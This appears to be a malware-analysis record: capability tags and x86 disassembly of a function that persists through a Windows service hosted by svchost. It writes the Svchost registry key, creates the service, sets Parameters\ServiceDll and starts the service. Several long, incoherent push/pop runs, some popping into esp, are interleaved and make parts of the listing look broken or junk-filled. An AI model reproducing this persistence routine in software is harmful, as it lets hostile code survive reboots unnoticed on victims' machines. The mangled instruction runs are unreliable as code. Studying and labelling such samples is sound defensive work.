Function at 0x413a30
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d970c
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x66f33c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x274], eax
xor eax, eax
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp word [edx], ax
jne 0x413aa5
xor ecx, ecx
jmp 0x413ac5
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413ab0
sub ecx, esi
mov esi, dword [ebp - 0x26c]
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.00403000
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x413b9e
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x413b10
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push esi
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x413b9e
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00454a62
test al, al
je 0x413b79
push esi
push edx
push eax
pop ebp
pop edx
pop edx
push edx
pop ebx
push ebp
pop eax
pop ebp
push eax
push esi
pop eax
pop esp
pop ecx
pop ecx
pop ebx
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x280], ebx
test ebx, ebx
jne 0x413bde
push 0x7a
call fcn.0045bdc5
add esp, 4
xor esi, esi
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x413bbe
inc ecx
push ecx
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.00403100
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045132d
mov esp, ebp
pop ebp
ret 0x14
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0047be90
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x5e266c
call fcn.00403740
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 1
call fcn.00470bcd
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 2
call fcn.00470c01
test eax, eax
lea eax, [ebp - 0x218]
push 0x104
push eax
je 0x413c3a
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x413c40
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.004039d0
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.0040a430
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405180
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
mov dword [ebp - 0x270], esi
test esi, esi
jne 0x413cc6
push 0x7b
call fcn.0045bdc5
add esp, 4
jmp 0x413ec8
call fcn.004546e1
test al, al
je 0x413ce7
push esp
pop esp
pop ecx
pop eax
pop ecx
push esi
pop esp
push edx
push esi
pop ecx
pop eax
pop ebp
pop edx
push edx
pop esi
push ebx
pop edx
pop ecx
mov esi, dword [ebp - 0x270]
call fcn.004546e1
test al, al
je 0x413d10
push ecx
push ebx
pop ecx
pop eax
pop eax
push ebp
push ebp
push ebp
push eax
pop eax
push ebx
pop ecx
pop ebx
pop edx
pop edx
pop edi
push edx
push edx
push eax
push eax
push edi
push ecx
pop ebx
pop eax
pop ebp
pop ecx
push eax
pop ecx
pop esp
push eax
pop esp
pop edi
call fcn.0045483a
test al, al
je 0x413d2c
pop ebx
pop ecx
push eax
pop edx
push edx
push edx
pop edx
pop eax
pop ecx
push esp
push esi
pop ecx
pop edi
push ecx
push ebx
push esp
push esp
push ebx
pop ebp
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x278]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
call fcn.004543ea
test al, al
je 0x413d61
push edi
pop esi
push ebx
push esi
push ebx
pop eax
push esi
push esp
push ebp
push edi
pop esi
push ebx
pop esp
pop esi
pop ebp
push esp
call fcn.00454726
test al, al
je 0x413d7a
push ebp
push ebx
push ebp
pop ebx
pop esi
push edi
pop edi
push edx
pop edi
pop eax
push edi
pop ebp
pop esp
pop esp
push edi
pop ecx
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.00403740
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 3
call fcn.0040a430
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x413ebb
call fcn.004546e1
test al, al
je 0x413dfb
push ecx
push esi
pop eax
pop eax
pop esi
pop ecx
push eax
push edx
pop edx
push ebp
pop esp
push ebx
pop edi
push ebx
pop ebp
push edi
push ecx
pop eax
push eax
pop ebx
push edx
push ebp
push edi
push ecx
pop edi
push ecx
push esp
pop eax
pop esi
call fcn.00454a62
test al, al
je 0x413e17
push edx
push ecx
pop ecx
pop ecx
push ecx
push esp
push esi
pop ebp
pop ebp
push ebp
pop ecx
pop eax
push ecx
push eax
push edi
push eax
pop ebx
pop ebx
push esp
lea eax, [ebp - 0x268]
mov dword [ebp - 0x268], 0
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x413ebb
mov ecx, dword [ebp - 0x27c]
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x413e4e
mov ecx, dword [ecx]
lea eax, [eax*2 + 2]
push eax
push ecx
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x413ebb
mov esi, dword [ebp - 0x270]
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x413e8d
push 0x7c
call fcn.0045bdc5
add esp, 4
push dword [ebp - 0x264]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x268]
call edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x280]
call esi
mov esi, 1
jmp 0x413ebd
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.00412280
lea ecx, [ebp - 0x2a4]
call fcn.00470be0
lea ecx, [ebp - 0x248]
call fcn.00412280
jmp 0x413ba0